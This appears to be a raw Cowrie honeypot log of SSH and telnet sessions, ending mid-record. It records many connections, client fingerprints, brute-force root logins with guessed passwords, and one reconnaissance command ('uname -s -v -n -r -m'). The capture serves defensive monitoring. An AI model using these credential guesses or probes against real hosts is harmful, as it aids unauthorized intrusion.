{"eventid":"cowrie.session.closed","duration":6.41399359703064,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:51.892269Z","src_ip":"34.79.15.88","session":"a690fcd27f06","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.7246880531311035,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:51.894941Z","src_ip":"34.79.15.88","session":"2996744d0972","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.035494089126587,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:51.897401Z","src_ip":"34.79.15.88","session":"a3c7682f8dcf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.882876873016357,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:51.899560Z","src_ip":"34.79.15.88","session":"1865711fef82","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.202778100967407,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:51.905883Z","src_ip":"34.79.15.88","session":"32ce3b40952a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.671820163726807,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:51.909251Z","src_ip":"34.79.15.88","session":"8356d068d302","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.364168643951416,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:51.911614Z","src_ip":"34.79.15.88","session":"35d46c267f5d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":29.543657779693604,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:51.913720Z","src_ip":"34.79.15.88","session":"0c829a708e48","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.830218553543091,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:51.915627Z","src_ip":"34.79.15.88","session":"1ff20eafd745","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.525256633758545,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:51.917808Z","src_ip":"34.79.15.88","session":"734061762ebf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.142662048339844,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:51.919705Z","src_ip":"34.79.15.88","session":"63f5bbdc1225","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.988662958145142,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:51.921710Z","src_ip":"34.79.15.88","session":"3ca429c9e0ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.460355758666992,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:51.924290Z","src_ip":"34.79.15.88","session":"764c19070def","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.306645154953003,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:51.926365Z","src_ip":"34.79.15.88","session":"f7dd899c3c5a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.77161169052124,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:51.928225Z","src_ip":"34.79.15.88","session":"517ce20cf63b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.001686811447144,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:51.930260Z","src_ip":"34.79.15.88","session":"d8221d14ba36","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.312973976135254,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:51.932108Z","src_ip":"34.79.15.88","session":"32ce1db9cd3f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.15962839126587,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:51.934075Z","src_ip":"34.79.15.88","session":"dbc499d14e07","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.627545833587646,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:51.935493Z","src_ip":"34.79.15.88","session":"72ec9fa7012d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.789827108383179,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:51.943433Z","src_ip":"34.79.15.88","session":"c369ae20fea6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.481791257858276,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:51.945644Z","src_ip":"34.79.15.88","session":"fd95d5315618","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.947357177734375,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:51.947927Z","src_ip":"34.79.15.88","session":"6260ba2865a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.105684041976929,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:51.950424Z","src_ip":"34.79.15.88","session":"2ddef6682268","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:52.109737Z","src_ip":"165.154.137.186","session":"e50b5565deb4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:52.112276Z","src_ip":"165.154.137.186","session":"e50b5565deb4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:52.373490Z","src_ip":"165.154.137.186","session":"e50b5565deb4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:52.377271Z","src_ip":"165.154.137.186","session":"e50b5565deb4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":35084,"dst_ip":"10.17.0.5","dst_port":22,"session":"761d872511f9","protocol":"ssh","message":"New connection: 165.154.137.186:35084 (10.17.0.5:22) [session: 761d872511f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:57.513768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:57.517874Z","src_ip":"165.154.137.186","session":"761d872511f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:57.785739Z","src_ip":"165.154.137.186","session":"761d872511f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"raaj","password":"raaj123","message":"login attempt [raaj/raaj123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:55:58.926574Z","src_ip":"165.154.137.186","session":"761d872511f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:56:00.197761Z","src_ip":"165.154.137.186","session":"761d872511f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:56:03.004593Z","src_ip":"8.210.75.243","session":"578d0e573de7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.187.165.26","src_port":40606,"dst_ip":"10.17.0.5","dst_port":22,"session":"873c9cc10d23","protocol":"ssh","message":"New connection: 103.187.165.26:40606 (10.17.0.5:22) [session: 873c9cc10d23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:56:03.646859Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:56:03.651346Z","src_ip":"103.187.165.26","session":"873c9cc10d23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.29.142.197","src_port":42432,"dst_ip":"10.17.0.5","dst_port":22,"session":"4acf0c73c36f","protocol":"ssh","message":"New connection: 66.29.142.197:42432 (10.17.0.5:22) [session: 4acf0c73c36f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:56:03.660039Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:56:03.664663Z","src_ip":"66.29.142.197","session":"4acf0c73c36f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:56:03.727134Z","src_ip":"66.29.142.197","session":"4acf0c73c36f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:56:03.907163Z","src_ip":"103.187.165.26","session":"873c9cc10d23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"S@f3M00n$Tr0ng@P@ss","message":"login attempt [root/S@f3M00n$Tr0ng@P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:56:03.929793Z","src_ip":"66.29.142.197","session":"4acf0c73c36f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123-=","message":"login attempt [root/qwe123-=] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:56:04.940113Z","src_ip":"103.187.165.26","session":"873c9cc10d23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:56:04.994161Z","src_ip":"66.29.142.197","session":"4acf0c73c36f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:56:06.193237Z","src_ip":"103.187.165.26","session":"873c9cc10d23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":33372,"dst_ip":"10.17.0.5","dst_port":22,"session":"b08d7cc48ccb","protocol":"ssh","message":"New connection: 8.210.75.243:33372 (10.17.0.5:22) [session: b08d7cc48ccb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:56:06.695967Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":48484,"dst_ip":"10.17.0.5","dst_port":22,"session":"905c4cc1cf1b","protocol":"ssh","message":"New connection: 165.154.137.186:48484 (10.17.0.5:22) [session: 905c4cc1cf1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:56:07.741437Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:56:07.745296Z","src_ip":"165.154.137.186","session":"905c4cc1cf1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:56:07.998266Z","src_ip":"165.154.137.186","session":"905c4cc1cf1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password","message":"login attempt [root/Password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:56:08.750658Z","src_ip":"165.154.137.186","session":"905c4cc1cf1b","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:56:09.828588Z","src_ip":"8.210.75.243","session":"b08d7cc48ccb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:56:10.003655Z","src_ip":"165.154.137.186","session":"905c4cc1cf1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":34922,"dst_ip":"10.17.0.5","dst_port":22,"session":"e7c699dea465","protocol":"ssh","message":"New connection: 165.154.137.186:34922 (10.17.0.5:22) [session: e7c699dea465]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:56:22.772075Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:56:22.776217Z","src_ip":"165.154.137.186","session":"e7c699dea465","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:56:23.033483Z","src_ip":"165.154.137.186","session":"e7c699dea465","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:56:23.348785Z","src_ip":"8.210.75.243","session":"2aa387827bfc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@55w0rd","message":"login attempt [root/P@55w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:56:23.806674Z","src_ip":"165.154.137.186","session":"e7c699dea465","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:56:25.066527Z","src_ip":"165.154.137.186","session":"e7c699dea465","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.159.50","src_port":42146,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ad9c6d33476","protocol":"ssh","message":"New connection: 101.47.159.50:42146 (10.17.0.5:22) [session: 9ad9c6d33476]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:56:28.075711Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:56:28.080573Z","src_ip":"101.47.159.50","session":"9ad9c6d33476","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-